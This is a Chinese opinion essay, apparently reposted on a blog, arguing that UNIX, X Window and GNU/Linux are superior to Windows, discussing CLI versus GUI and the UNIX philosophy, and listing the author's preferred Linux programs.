NT，但是就是没见到有人用。PC 机的能力是很低的，像我们编程序处理 NP-Hard 问题的人，用 Windows 的机器显然速度不够，而且有时一个问题算上几天甚至几个星期，Windows 机器是以\u0026ldquo;死机\u0026rdquo;著称的，我们怎么能放心？ 所以几乎所有科学计算程序，EDA 程序，高性能图像处理程序都不是 Windows 的。他们有时也会移植一些给 Windows，但是常常降低那些程序的能力。你比较过 Windows 版本的 Mathematica 和 Linux 的有什么区别吗？ IBM 制造的最大的并行计算机有 8000 多个处理器，Windows 不可能有能力管理这么多处理器，它用的是什么操作系统？答案是 Linux。 《泰坦尼克号》电影里的三维动画，那么细腻逼真，Windows机器能做出来吗？不行。那也是 Linux 机器做的。 民航总局用来训练地情人员的虚拟现实训练设备，Windows 当然无能为力。那都是商业的 IRIX 机器。 UNIX 是最早支持 TCP/IP 网络协议的系统。它上面有很多可以互相协作的网络服务程序，它们经过多年的使用和修订，已经达到比较完善的程度。而就在1997年，微软的比尔盖茨还在扬言：\u0026ldquo;Internet 是没有前途的。\u0026rdquo; 微软的这个\u0026ldquo;远见卓识\u0026rdquo;大家应该都已见识，它后来加上的网络服务程序IIS漏洞之多，让公安部都频频发出警报，大家也是见识了的。 其实你知道了，Windows 没有一样有用的事情能比 UNIX 干的更好。 Linux 干不了的有用的事情 Windows 照样干不了 当然 Linux 不是万能的。它也有不能干的事情，电脑也有干不了的事情。但是 Linux 干不了的事情，Windows 肯定也干不了。这些事情就是我们需要探索，需要努力的事情了。在你探索的过程中，Linux 必定是你的好伙伴。 Windows 的流毒 不要用 Windows 的方式来思考问题 什么？你早就知道 Windows 是垃圾？噢！你怎么不早说呢！害我废话这么多。嘿嘿。 \u0026ldquo;好了。你知道 Windows 是垃圾，你现在用什么？\u0026rdquo; \u0026ldquo;Linux + Xwindow\u0026rdquo; \u0026ldquo;那我问你，Xwindow 是什么样的？\u0026rdquo; \u0026ldquo;不就是跟 Windows 差不多吗？只不过 \u0026#8216;Start\u0026#8217; 按钮比较方，而且上面不是一个 Windows 标志，而是一个脚丫子。点击一下居然还有很漂亮的中文菜单。我喜欢！\u0026rdquo; \u0026ldquo;你知道什么是\u0026lsquo;根窗口\u0026rsquo;吗？\u0026rdquo; \u0026ldquo;不知道。从来没听说过呢？\u0026rdquo; \u0026ldquo;根窗口就是遮盖整个屏幕的那个最大的窗口。\u0026rdquo; \u0026ldquo;哪儿有什么窗口啊！我没有看到呢？\u0026rdquo; 你发现了问题吗？这些 Linux 用户说是在用 Linux 和 Xwindow，但是他们对 Linux 和 Xwindow 几乎完全不了解。很多人用了那么久 Xwindow 都不知道根窗口是什么东西，不知道其实按钮也是窗口，不知道窗口管理器和 Gnome，KDE 有什么关系，大家都以为窗口上面的按钮是程序自己放上去的，不知道窗口的\u0026ldquo;class name\u0026rdquo;，\u0026ldquo;resource name\u0026rdquo;是什么东西。他们被遮在 Linux 之上的一层一层的包装迷惑了！ 当我告诉一个既能用 Windows 又能用 Linux Qt 编程的朋友 Xwindow 的\u0026ldquo;中键粘贴\u0026rdquo;是怎么回事时，他大吃一惊，说：\u0026ldquo;Xwindow 怎么这么落后啊！居然请求剪贴板的东西时还要联系剪贴内容的所有者自己来转换格式！你看看 Windows 的剪贴板\u0026hellip;\u0026hellip;\u0026rdquo; 经过一顿饭的友好的讨论之后，他不得不称认，这个 Xwindow 用了几十年的方法比 Windows 的剪贴板要合理的多。 后来又有一次，我告诉他每个 Xwindow 的按钮都是一个窗口。他说：\u0026ldquo;不会吧～ 这样效率一定很低。你看看 Windows 的按钮 \u0026hellip;\u0026hellip;\u0026rdquo; 又是一顿饭之后，他说：\u0026ldquo;哎呀。不得不承认 Xwindow 的方式是良好的设计。\u0026rdquo; 现在很多人已经把能够利用别人的库写出一个好看的程序作为自己编程水平的象征。在这个\u0026ldquo;图形化\u0026rdquo;，\u0026ldquo;可视化\u0026rdquo; 的年代，你如果还在用 troff, LaTeX 写文档，你还在用 VIM 自己编辑 HTML，用 Mutt 处理邮件，你还在用文本模式的 gdb 调试程序，你还在用 Xlib 写程序, 你还在用 tin 上 USENET，你还在自己写 Makefile，写机器代码，你还在玩 Clossal Cave 这样的字符模式冒险游戏，那你就是老古董，不合时宜，变态。 其实这种思想是错误的。虽然你是一个坚决的 Linux 支持者，但是你的思想是 Windows 的思想。你认为图形界面，菜单，按钮就可以解决一切问题，就可以给你高效方便。你要做坚决的 GUI 派而不是 CLI 派 \u0026hellip;\u0026hellip; 你还是没能摆脱微软给你的潜移默化的东西。你其实离不开 Windows 那样的环境，你害怕符号，你迟早会删掉自己的 Linux。 GUI vs. CLI UNIX 和 Xwindow 是一家 大家看到这个标题是不是热血沸腾？两派大虾都可以围攻我了： GUI派用户：\u0026ldquo;哇！我一看你这小子就是 CLI 的。要不然自己写什么 Makefile？用什么 Mutt？\u0026rdquo; CLI派用户：\u0026ldquo;切～ 你还用 X！高手都不用 X。你是 GUI 那边的。\u0026rdquo; 可怜的我：\u0026ldquo;555～～ 你们都不要我～～ GUI 和 CLI 就那么水火不容吗？\u0026rdquo; 计算机界这样的门派之分还很多。很有特点的就是 CLI 和 GUI 了。CLI (Command LIne) 的狂热份子声称永远不用 X。我上次在实验室看到一个同学用一个 SecureCRT 登录到 Sun 机器，然后用一个 vanilla vi 编辑程序，我建议他启动一个 GVIM 过来显示在 Exceed 上可以有语法加亮。但是他坚决反对，说：\u0026ldquo;高手不用X。你想想，要是我在一个很慢的网络连接怎么用 X？而且好多服务器没有装 X 程序。\u0026rdquo; 但是我们实验室的网速可够快，Windows 机器都有 Exceed 啊，而且 Sun 机器有全套 X 客户程序包括 GVIM。他说他是 CLI 的坚决拥护者，但是他却在用 Windows，他后来打开了好几个 SecureCRT，每次从文本框输入地址，用户名和密码，从下拉菜单选择 \u0026quot;SSH2\u0026quot;，然后点击\u0026ldquo;Connnect\u0026rdquo;。他还不断的夸SecureCRT是\u0026ldquo;网络管理员投票选出的最受欢迎的登录方式\u0026rdquo;。老天，SecureCRT 本身就是个 GUI 啊，他其实是一个 GUI。 你说我是 GUI 的？我虽然很少在 console 下工作。但是我对 bash, VIM 很熟悉，我可以让 bash 按照我的键绑定方式来工作。我可以在 rxvt 里使用 Mutt 来收发 email。我的每个桌面上都常常堆放着一打不同大小的 rxvt。我用 VIM 编辑 LaTeX。我自己写 Makefile 来维护 LaTeX 文档。我有时用 mpg321 来放 mp3。我上BBS用的我自己写的 expect 脚本，定义了很多热键，我只要 Ctrl-H 就可以随机变化我的签名档和说明档。我的 expect 脚本有高级的自动回复功能，甚至可以以假乱真，让你看不出其实我不在，你有可能跟我的机器人聊上10分种才发现那不是我 :p 好了，CLI 派的朋友可以收我做盟友了 你说我是 CLI 的老古董？我的 FVWM 被我配置为可以\u0026ldquo;手写操作\u0026rdquo;，我只要画一个\u0026quot;r\u0026quot;就可以启动 rxvt，我只要画一个 \u0026quot;U\u0026quot; 就可以启动 GVIM，\u0026hellip;\u0026hellip; 我用 GVIM 语法加亮模式编辑程序，我用 Mozilla 浏览网页，\u0026hellip;\u0026hellip; GUI 派的现在好像认我做朋友了 好了。CLI 派的朋友，虽然我很喜欢命令行，但是我有时在屏幕上左右画一下就可以执行: Module FvwmConsole -terminal rxvt -geometry 45\u0026#215;5-0+0 -bg gold -fg midnightblue -fn \u0026quot;-adobe-courier-medium-r-*-*-14-*-*-*-*-*-*-*\u0026quot; 你是不是现在又想把我逐出师门？ GUI 派的朋友，虽然我很喜欢窗口。但是我可以在 FvwmConsole 里输入： All (rxvt) MoveToDesk 把我所有的 rxvt 移动到我现在工作的桌面。\u0026ldquo;这家伙，怎么这么快就叛变了！\u0026rdquo; 其实何必分什么 GUI 和 CLI，UNIX 和 Xwindow 都是工业标准，它们从设计那天开始就有非常灵活的用法，各个程序，不管是 GUI 还是命令行的都可以互相协作。UNIX 和 X 是一家，何必搞的那么偏激，非此即彼？你从我上面的行为可以看出 GUI 和 CLI 的模糊界线吗？你说我是\u0026ldquo;花心大萝卜\u0026rdquo;？花心就花心。hengheng UNIX 的真谛何在？ 让聪明人干任何他们想干的事情。 UNIX 的一个特点就是非常高的灵活性，Xwindow 也具有这种灵活性。这种灵活性体现在哪里呢？ UNIX 的程序一般都有很多参数，不管你现在用的着用不着，总有人需要某些参数。它们的行为很多都可以用配置文件来改变。比如 GNU bash, 通常缺省的命令行输入方式是 Emacs 方式，但是只要我编辑一个 .inputrc 文件，就可以把它变成 vi 的输入方式，而且我还可以自己绑定键序列到某些操作。我可以用 shopt 来设置它的很多特点，比如是否进行通配符扩展，是否可以把一个变量当作一个目录来cd，是否可以自动纠正某些明显的目录名打字错误 \u0026hellip;\u0026hellip; UNIX 程序设计的思想是提供给用户\u0026ldquo;机制\u0026rdquo;，而不限制用户制定\u0026ldquo;政策\u0026rdquo;。这是一个重要的尊重用户的作法。 我们再来看看 Xwindow。Xwindow 是一个出色的设计，它把显示服务器和客户程序分开。一个显示上既可以显示本机上的程序，也可以显示别的机器上的 X 程序，而它们都遵守你的窗口管理器的统一指挥，它们之间可以方便的传送剪贴版数据，各种事件 \u0026hellip;\u0026hellip; 比如有时我的 XFree86 上会出现四个不同机器上的 XTerm，两个不同机器上的 GVIM，\u0026hellip;\u0026hellip; 它们统一受本机上的 FVWM 指挥。 Xwindow 程序都具有很多很多命令行参数和 resource 参数。你可以随意的在命令行或者 .Xdefaults 文件设置所有的颜色，字体，尺寸\u0026hellip;\u0026hellip; 而且如果你用 xrdb 把 .Xdefaults 导入到根窗口，那么其它机器上没有经过配置的同样的程序，显示到你的机器上的时候也会遵守同样的外观规定。 Xwindow 的窗口具有 Property, 也就是一些可以自己定义的共享数据(原子)。正是因为这些 Property 的存在，使得 Xwindow 具有无比强大的生命力。X 的窗口管理器和其它客户程序之间并没有统一的协议，但是后来出现了 ICCCM(客户程序间通信规范)，这个规范就是通过 property 定义的。现在又有人定义了一套\u0026ldquo;扩展的窗口协议(EWM Hints)\u0026rdquo;，使得 Xwindow 可以具有某些 Windows 的特征，比如一个工具条程序可以告诉窗口管理器：\u0026ldquo;这个屏幕下面被我占据了24个像素的空间，你最大化程序的时候不要越过这个界线。\u0026rdquo; 一个强大的窗口管理程序比如 FVWM，它收到这样的提示时，可以答应工具条程序的这个要求，也可以不答应。一切选择的权力在于谁？当然是用户了！一切窗口乖乖听话，FVWM 给予用户最大的尊重。 你想想，是不是有些 Windows 程序常常弹出一个窗口要你选择 \u0026quot;Yes or No\u0026quot;？你不点击它它就不下去。你觉不觉得你的程序在侵犯你的尊严？你是一个人，一个智慧的生物，怎能受到一个程序如此的待遇？ 还有就是很多 Windows 程序把人当成傻瓜，而它是\u0026ldquo;智能程序\u0026rdquo;。比如，有一个程序就是喜欢把你的每句话第一个字母都变成大写，我不说它是谁了，你遇到的时候就知道了。如果连\u0026ldquo;一句话开头一个字母要大写\u0026rdquo;这么明显的问题都需要程序帮你纠正的话，人脑还用来干什么？况且如果你故意想要不大写的话，那就更麻烦了，我楞是没有从它那一大堆菜单里找到怎么关闭这个愚蠢的选项。 只有符号才能完全操纵计算机。 我们来说说很多初学 Linux 的用户。虽然他们在用 Linux，但是他们打心眼儿里是觉得 Windows 的工作方式好，他们希望 Linux 有一天能\u0026ldquo;像Windows那样\u0026rdquo;。你说：\u0026ldquo;我鼠标一点，我菜单一拉，\u0026hellip;\u0026hellip; 就可以完成我的操作。\u0026rdquo; 但是我要告诉你：\u0026ldquo;Linux 从来没有摹仿 Windows，将来也不会。Linux 从诞生之日起，它的工作方式就比 Windows 的先进。Linux 属于能勇敢面对符号的人。只有符号才能完全操纵计算机。\u0026rdquo; 看看优秀的 UNIX 程序，XFree86, FVWM, VIM, Emacs, proftpd, Mutt, wget, tin, \u0026#8230; 没有一个不是用配置文件来设置选项的。为什么这些程序没有方便的菜单可以用来配置？难道它们的设计者就那么低能，连个图形配置界面也写不出来？ 当然不是。因为图形界面配置方式的能力是极其有限的，而配置文件和程序语言的表达能力却是无限的。用图形界面配置这些程序的话，如果你想达到配置文件的效果，你需要成百上千的菜单，checkbox, radio button, \u0026#8230; 到时候你根本没办法找到你需要修改的地方了！而各个程序的配置文件的语法都有很多相似之处，一般就是一些命令，设置一些变量，参数，\u0026hellip;\u0026hellip; 一旦用会了一个，其它的也就容易理解了。如果你用惯了 awk, sed, Perl，你会觉得那才是真正的自动化啊。 鼠标虽然是很好的工具，但是它的表达能力是有限的。你不可能光用鼠标就让电脑完全明白你的意思，它毕竟只有3个按钮。看看我的MetaPost页你就能体会到鼠标的这一弱点。所以我们虽然很喜欢鼠标，但是却不能完全依赖它。 各个小程序的完美配合 这就是UNIX最重要的特点了，它就是UNIX设计的思想。让每个程序只具有一项专门的能力，然后让它们合作。Xwindow也继承了这种好传统。 这恐怕就是Windows和其它操作系统望尘末及的地方了。UNIX 程序设计之统一，配合之完美，真使我难以置信！shell, grep, find, awk, sed, make, Perl, Emacs, vi, tin, Mutt, \u0026#8230; 它们是那么的具有一致性！你一旦学会了 sed 的正则表达式，其它程序基本上都能用了。你一旦学会了 vi 和 VIM, 你会发现它的操作是那么的有规律性，似乎vi的设计者在几十年前就已经设计好了 VIM 在今天的完美而统一的操作方式！而且vi的操作还体现在 Mutt, tin 等很多程序中。你甚至可以把 bash 设置为 vi 的输入方式来输入命令行，我就是这么做的。一个程序可以调用另外一个程序来得到数据，可以把数据交给它处理后返回来，可以在自己的窗口里\u0026ldquo;嵌入\u0026rdquo;另外一个程序。 在 Windows 和其它非 UNIX 操作系统中，这种合作是非常困难的。我曾经在 Windows 下使用 Perl来进行一些自动工作。但是 Windows 的文件操作，管道是如此的不稳定，程序之间基本不能合作。你别想在 Visual Studio 窗口里面嵌入 UltraEdit 编辑器，你别想用一个 expect 脚本来控制 telnet 到水木清华BBS，这就是为什么 helloooo 诞生在 Linux 而不是 Windows。我曾经试图从 Windows + Exceed + SecureCRT ssh 登录到 Sun 机器，然后通过 ssh 的隧道(X11 tunnel)把 X 程序传到 Exceed 上运行，但是搞了两天都没有成功！而在 Linux 下这个事情根本就是不用怎么配置的，OpenSSH 和 XFree86 本来就是完美结合，只要打开 ssh 的 \u0026quot;forward X11\u0026quot; 选项就什么都搞定了。 Windows 的程序都是大而全，大而杂，所有的电子邮件程序都需要自己提供编辑器，自己发送和收取邮件，自己显示邮件的附件。每一个BBS程序都提供自己的 Virtual Terminal, 自己的通讯代码。每一个 IDE 都自己提供编辑器，编译器，汇编器，调试器。人们为了使用一种新的程序，需要适应所有这些它提供的界面，而不能使用自己喜欢的编辑器的键绑定，菜单组织\u0026hellip;\u0026hellip; 不能 DIY！ 你要知道，最高级的电脑是定做的，自己想要什么什么CPU，什么主板，多少内存，什么硬盘，键盘，鼠标，显示器都是自己选择的。最高级的滑板，自己想要什么牌子的版面，什么牌子的沙，什么桥，什么轮子，什么轴承，也都是自己选的。最高级的乒乓球拍，木板，胶皮，海绵，胶水都是可以自己选择\u0026hellip;\u0026hellip; 而用 Windows 程序，你得到的是大杂烩，就像你去买\u0026ldquo;品牌机\u0026rdquo;，只有那么几种配置，而且附带很多你不需要的软件和服务；就像你去买组装好的滑板，你想要大一点的轮子和窄一点的板子，但是你没有这种选择余地！Windows 程序就相当于最廉价，最次的滑板。但是它却会花你更多的钱，因为一旦一个部件坏了，或者你不喜欢了，你不能另外找一个好的换掉它，你必需重新买全套配件！ 而 UNIX 和 Xwindow 就是高档的\u0026ldquo;组装货\u0026rdquo;。比如我用 Mutt 的时候，我可以用 VIM 也可以用 pico 来编辑邮件，我可以用 ImageMagick 也可以用 xv 来显示附件里的图片，我可以用 lynx 把 HTML 附件转成文本嵌入窗口中，我也可以把 HTML 附件交给 Mozilla 图形显示。我可以让 GnuPG 帮我把邮件进行数字签名和加密，我也可以用其它 PGP 程序。我想让 Postfix 而不是 sendmail 帮我发出邮件，我想让 fetchmail 帮我收邮件，转发给 postfix，然后被我自己写的Perl过滤器处理\u0026hellip;\u0026hellip; 这一切我都可以办到！我可以选择我最喜欢的专门的程序来完成专门的工作，然后把它们结合在一起，我也可以分别得到它们的好处。 结论 我写这么多的目的是什么？我希望喜欢 Linux 的朋友，完全清除微软和 Windows 灌输在你脑子里的谬论，别再相信它们所谓的\u0026ldquo;新技术\u0026rdquo;，别再追赶 Windows，因为追赶 Windows ＝倒退。马克思有一个思想很重要，\u0026ldquo;新生事物并不一定是在最近出现的。\u0026rdquo; UNIX，Xwindow, TeX 虽然都比 Windows 先出现，但是它们才是先进生产力的代表。我们要清楚的认识到什么才是真正的现代化，什么才是真正的自动化。 勇敢的拿起像 bash, FVWM, TeX, VIM, Emacs, Mutt, lftp \u0026hellip;\u0026hellip; 这样强大的程序，勇敢的面对符号。不要再埋怨\u0026ldquo;Linux 为什么不能像 Windows 那样\u0026rdquo;，不要再浪费时间试用这样那样的程序，不要再忙着升级。需要改变的是你自己，而不是 Linux 和 Xwindow，Linux 现在就可以成为你的好朋友。你需要认识它，了解它，信任它，才能完全的靠它来高效的工作，省出时间来处理世界上更加值得处理的事情。 附录: 我用来处理日常事务的 Linux 程序 好了好了。我知道你发现自己应该转向 Linux，你很后悔当初为什么中了微软的邪。但是不要着急。因为这些东西本来只是工具，它们是用来完成你的主要任务的辅助而已。你以前选错了工具，这不要紧。你还是拥有你自己原来的专业技能，那才是最重要的。工具的东西只有慢慢适应转换，不能一蹴而就，否则你会感到非常没意思，甚至放弃。 这里给出一些推荐使用的可以处理一般事情的程序。至于你的专业上要用到的科学和工程软件比如 Matlab, Mathematica, Maple, HSpice, Design Compiler, \u0026hellip;\u0026hellip; 还有其它物理上的，化学上的，生物上的 \u0026hellip;\u0026hellip; 都必然有 Linux 和 UNIX 的版本。当然他们很多不是免费的，不要总是觉得什么都应该免费，它们是经过很多人辛勤劳动的产物，是可靠的程序，他们物有所值。 下面列出我常用的一些 Linux 程序。一个列表里可能有很多，那是为了方便你来选择，我列出了比较信得过的。但其实很多只有第一个是我真正在用的。我不喜欢试用程序。 * Shell: bash。我使用 bash 的 vi 命令行方式。 * 编辑器： VIM, Emacs * 程序开发： GCC, make, ld, Scheme48, j2sdk, Perl, Python, Tcl/Tk \u0026#8230; * 论文，幻灯工具：LaTeX, ConTeXt * 绘图工具：MetaPost。这个语言太强了，以至于我只用它了。你不熟悉的话可以用 dia 来画一些流程图之类的图片。 * 图像处理：ImageMagick。其中的 import 程序可以屏幕抓图，convert 程序可以转换图像格式，display 可以显示图片和简单编辑(缩放，换质量，转格式，简单绘图，简单虑镜)。通常我就这么点需要。如果你要更强大的图像工具可以用 Gimp, 它几乎和 Photoshop 差不多。 * 自动管理工具：make。我可以用make来自动编译程序，自动编译文档，自动更新插图\u0026hellip;\u0026hellip; 全自动，而且不会重复劳动。 * 加密程序：GnuPG。我的 PGP 密钥就是它搞出来的，我用了 2048 位加密。 * 打包，压缩程序。什么都有: tar, gzip, bzip2, zip, rar, \u0026#8230; * 虚拟光驱程序。Linux 不需要虚拟光驱程序，直接 mount 就行了。 * ftp 服务器：proftpd, vsftpd * WWW 服务器：apache。(我一般没有开) * ftp 客户程序：lftp * 自动下载工具：wget * 虚拟终端：rxvt, xterm, gnome-terminal, mlterm, \u0026#8230; * X server: XFree86 * 窗口管理器：FVWM。编译加入了 libstroke。 * 中文输入：XSIM。被我修改过以适应 FVWM 的需要。另外推荐你还可以用 SCIM。 * email 处理：Mutt + Postfix + fetchmail * 看 PDF, PS, DJVU 文件：Acrobat Reader, xpdf, GhostScript, gv, djvu工具包和 netscape 插件。 * 看CAJ文档。我从来不看CAJ之类的文档，如果找不到PDF或PS，直接去图书馆借最好。 * 看网页：Mozilla, Phoenix, lynx。Mozilla-Xft 的显示效果比 IE 好很多。 * 英汉字典：IBM智能词典，星际译王。 * 编辑网页：我用 VIM 直接写 HTML。你如果想要图形方式的可以用其它的比如 screem, BlueFish。 * 登录其它 UNIX, Linux 机器：openSSH, telnet。 openSSH 还可以把其它机器的 X 程序通过 ssh 加密的隧道传到我机器上显示。 * 上BBS：rxvt(或任何一种终端) + telnet + chatbot(helloooo 机器人的程序) * QQ, ICQ: 我没有 QQ 或 ICQ。不过你可以用 Gaim, 它同时支持 QQ, ICQ 和很多其它的即时通信方式。ICQ 用户也可以用 Licq。 * 放录像：MPlayer, RealPlayer。MPlayer 太好了，直接就可以放 VCD, DVD, divx, wma, wmv \u0026#8230; 用 Windows 的同学都很羡慕我，说 Windows 要放这个需要大堆插件。rm 最好还是用 realplayer 放，它也是免费的。 * 放音乐： xmms(mp3,ogg都可以), mpg321(放mp3), ogg123(放ogg). * 看 Word 文档。请 Word 用户把文档全部转为 PDF 或 PS 再给我，文档里没有特殊的格式就用文本文件，要不我就不看 * 其它程序：还有很多我需要用而你不一定用得着的。比如，Doctor Scheme, Scheme48, Scsh, \u0026#8230;这些程序只有 Doctor Scheme 有Windows版本。还有很多幕后工作但是你一般不察觉的：xinetd, telnetd, sshd, crond, atd, lpd, \u0026#8230; 他们都比 Windows 的对应者强的多。\n","permalink":"https://hessian.cn/p/466.html","summary":"4. 释放内存 我在 Windows 下做过的一件最傻的事情莫过于\u0026ldquo;释放内存\u0026rdquo;了。有一天我看到一个 Windows 程序说：\u0026ldquo;这个程序可以帮你把大量内存释放出来给一个很大的程序用。\u0026rdquo;我试了一下，居然一下把我的 64M 内存释放出来 48M！我高兴极了。现在想一想，那是多么傻的事情，那么多的内存留着干什么？不用白不用啊！一个操作系统，居然还需要别人写的程序来释放内存，那是什么样的操作系统？ ","title":"完全用 GNU/Linux 工作【闲】】[2]"},{"content":"完全用 GNU/Linux 工作 理解 GNU/Linux 注：本文是清华\u0026ldquo;牛仔\u0026rdquo;王垠的\u0026ldquo;成名作\u0026rdquo;，在网上引起很大的争议。对他崇拜地五体投地者有，对他嗤之以鼻者也有，总之成了一年多以前Linux 爱好者的圈子里的一个很有意思的现象。之后他对这篇文章进行了很大的修改，已经没有了原来那种意气风发。现存的版本如白开水一般无味，请参见：http: //learn.tsinghua.edu.cn/homepage/2001315450/ 尽管他原来的观点有所偏激，但我还是很欣赏他原来的风格。 \u0026ldquo;UNIX 是简单的，你不需要成为天才也能理解这种简单。\u0026rdquo; 由于GNU/Linux这个词太长，下面如果没有特别指明，\u0026ldquo;Linux\u0026rdquo;就是指\u0026ldquo;GNU/Linux\u0026rdquo;。 在这个年代，恐怕没有人需要我来介绍 Linux 是什么了吧？如果你觉得\u0026ldquo;Linux 只不过是跟 DOS 差不多的东西\u0026rdquo;，那你恐怕很久在山洞里没见天日了吧？请问问你旁边的 Linux 用户，Linux 到底是个什么地位？ 那为什么我还要写一篇这样的文章？因为，我发现还有很多人不不理解 Linux 和 UNIX，虽然他们也在用它，但是他们有时会问：\u0026ldquo;为什么 Linux 不能像 Windows 那样 \u0026hellip;\u0026hellip;？\u0026rdquo;，\u0026ldquo;怎么Redhat Linux不能 mount NTFS 分区！\u0026rdquo;，\u0026ldquo;Linux下用什么整理硬盘？\u0026rdquo;，\u0026ldquo;什么时候OpenOffice才能完全兼容Word文件啊？\u0026rdquo;，\u0026ldquo;现在还有什么Windows能干的事情 Linux干不了的？\u0026rdquo;\u0026hellip;\u0026hellip; 他们有40G的硬盘，却只为 Linux 分配了2G空间，有时还抱怨\u0026ldquo;这个东西怎么占这么多硬盘！\u0026rdquo; 似乎 Windows该占用大部分硬盘。他们把重要的数据装在Windows的分区，似乎信不过 Linux。他们总是到处寻找新奇的，好看的GUI程序，对命令行的东西一概不屑一顾。他们对Drag\u0026amp;Drop，菜单配置，自动升级非常感兴趣。他们如果找到一个很像 Windows 程序的 Linux 程序，一定会很高兴的说：\u0026ldquo;哈哈！Linux 也能\u0026hellip;\u0026hellip;了！\u0026rdquo; 如果Linux在某种测试中胜过Windows，他们会高兴得跳起来。他们没有办法用Linux解决问题的时候，甚至用Wine来运行Windows程序。有时实在没办法，只好重起到 Windows，或者干脆省得麻烦，在 Windows 下装一个 VMWare 虚拟一个 Linux 玩。 你支持 Linux，你喜欢 Linux，你能从中感觉到快乐，这非常好。你现在只需要明白的是：Linux 从来就不是一个玩具，它是天才UNIX的后代。UNIX 是自晶体管发明以来最伟大的发明，它从诞生那一天开始就比 Windows 的设计出色。Linux 并不需要追赶 Windows，不需要打垮微软，它的最终目标是改变整个计算机世界，还人们自由，给人们乐趣和方便。其它UNIX很多都已经败在Linux脚下，更何况 Windows！ 你如果出现了以上的情况，说明你的思想受到了 Windows 的某种潜移默化的影响和误导。你没有能够从本质上理解存在于 Linux 身上的 UNIX 思想。UNIX的设计者 Dennis Ritchie 说：\u0026ldquo;Unix is simple. It just takes a genius to understand its simplicity.\u0026rdquo; 但是我不这么认为，因为我不是一个天才，但是我却勇敢的把Windows完全删除掉，半年之后我体会到了 UNIX 的思想和好处。因为我相信这样的信念：\u0026ldquo;Windows 能办到的事 Linux 一定能办到，而且办的更好。\u0026rdquo; 这小节开头的话应该改成：\u0026ldquo;Unix 是简单的，但是在这个冲斥着 Windows 错误观念的世界，你需要信念和勇气才能理解它的简单！\u0026rdquo; 我下面就告诉你一些我理解到的东西。 微软的地位 微软的名声在欧洲和美国的大学里，特别是在计算机系里之坏，大家可能有所耳闻。我认识的 MIT，Stanford 的教授，贝尔实验室的专家，甚至一个欧洲小国的高中计算机老师都绝口不提微软的名字。在他们眼里，微软只是一个没有真技术，专靠在落后国家商业宣传和垄断经营的小公司。这个\u0026ldquo;小\u0026rdquo;并不是说它人少，钱少，而是说它先进技术少。 我上次和王益合作写了一个算法演示程序，那个算法是贝尔实验室一位科学家Steven Fortune很天才的发明，为了程序能够被身边大多数人使用，我们选择了 VC+MFC 作为平台。我在分析算法时还得到 Fortune 很热情的鼓励，寄给我一份资料，还多次回信耐心的给我讲解了很多细节。但是程序完成之后，我把样品发给 Fortune，他回信说：\u0026ldquo;对不起。我机器上没有 MFC。\u0026rdquo; 话说的很客气，但是我已经感觉到了他对 Windows 的不屑。然后我把 MFC 静态编译进程序再发给他，他就没有再回信了。他显然不是瞧不起我，而是确实有难处。 你能感觉到这位科学家对微软和 Windows 是什么态度了吧？不是反感，而是他心里根本没有 Windows 这个东西！微软在高科技领域没有发展，那么它怎么生存呢？到发展中国家去发展一下，他们的人民还对电脑一无所知，我说不定甚至可以打入大学的计算机系呢。我送他们软件，我捐钱盖大楼，我出钱找图灵奖获得者来演讲，让他们觉得我们都是科学家！ 好了，现在全国的大学包括清华，几乎所有人机器必装盗版 Win2000，Office XP，学校的选课系统是非IE不能正确浏览，论文用 Word 编辑，演示用ppt做，email 的通知附件是 doc 文件，你不用 Word 打不开，连 863 项目都用 VC 写程序了。我很久以前就看到一份报纸说，\u0026ldquo;微软为什么不严厉打击盗版？\u0026rdquo; 这篇文章说，微软非但不打击中国的盗版行为，而且有放任之趋势。放长线吊大鱼，\u0026ldquo;以后我要你们加倍的来还我！\u0026rdquo; 确实如此，它的目的快实现了。 Windows 笼罩下的中国计算机教育 说句丢脸的话，比尔盖茨很久以前是我的偶像\u0026hellip;\u0026hellip; //blush 在中国，比尔盖茨被很多人奉为神圣，\u0026ldquo;少年电脑天才\u0026rdquo;，甚至有的人提到他的名字就做出\u0026ldquo;抱拳对天\u0026rdquo;的姿势。很多人谈到微软的\u0026ldquo;新技术\u0026rdquo;，\u0026ldquo;高科技\u0026rdquo; 都是眉飞色舞。各种\u0026ldquo;VC编程圣经\u0026rdquo;，\u0026ldquo;深入了解 Visual C++\u0026rdquo;之类的书，在开头几页都会出现非常肉麻的字眼，\u0026ldquo;在那团团的混沌中，一个开天辟地的精灵，Windows 1.0，诞生了\u0026hellip;\u0026hellip;\u0026rdquo; 微软的软件被这么多人盗用，那么人们是怎样使用这些盗版程序的呢？先看看电脑培训班，教的都是一些 DOS 命令，打字，Windows 基本操作，Word 文档处理，PowerPoint，高级班可能有 Excel，Access\u0026hellip;\u0026hellip; 参加各种微软认证考试，MCSE，MSDE 的人络绎不绝。考试辅导班都贴出了\u0026ldquo;280元，考过为止\u0026rdquo;之类的字样。考试参考资料更是昂贵，有些电脑书店整整两书架都是\u0026ldquo;Microsoft Press\u0026rdquo;的东西。我有个同学参加认证考试，每门考试都要200多元。而且你一次考不过可以再考，又要交钱。他后来还津津乐道跟我说，看我，花了 XXXX(一个四位数)元考过了微软认证，得到一张比尔盖茨亲笔签名的证书和价值6000元的 Windows XP 内部发行版。 \u0026ldquo;电脑要从娃娃抓起\u0026rdquo;，我们再来看看娃娃们学的是什么。大部分家长给孩子买了电脑之后，他们首先就会装一个盗版的 Windows，然后买来盗版的游戏开始玩。如果哪个孩子会用 Delphi 编程序，那可不得了。报社记者，电视台争相报导，说，某某学校的初中生某某，在别人都还在玩电脑游戏这种\u0026ldquo;初级阶段\u0026rdquo;的时候就已经用 Delphi 写程序了。镜头还瞄准了他显示器上面的像框中的比尔盖茨头像！ 我刚进入大学计算机系时还不懂得什么是操作系统，因为我以前只用过\u0026ldquo;中华学习机\u0026rdquo;。看到新入学的同学们各个谈论的都是 \u0026ldquo;Windows 95\u0026rdquo;，\u0026ldquo;VC\u0026rdquo;\u0026hellip;\u0026hellip; 我简直觉得我落后了好几十年一样，整个一土人，根本跟他们答不上话。好不容易找到一个比较熟的同学问了一下：\u0026ldquo;你们天天谈论的瘟95是什么啊？\u0026rdquo;答： \u0026ldquo;win95就是一个操作系统，跟DOS是一类。\u0026rdquo;\u0026ldquo;朵死是什么？\u0026rdquo; \u0026ldquo;你连DOS都不知道是什么？别在计算机系混了。\u0026rdquo; 学校上课当然不讲VC编程之类的东西，但是上 Pascal 的老师有一次就说：\u0026ldquo;嗨，我们学校真是落后。现在别人都用 C, C++，甚至 VC 了，我们还在讲 Pascal。不知道什么时候才能有VC课啊。你们出去也是要用VC的，只好自学了。\u0026rdquo; 于是，有些同学很多时候上课都捧着一本很重的\u0026ldquo;Windows 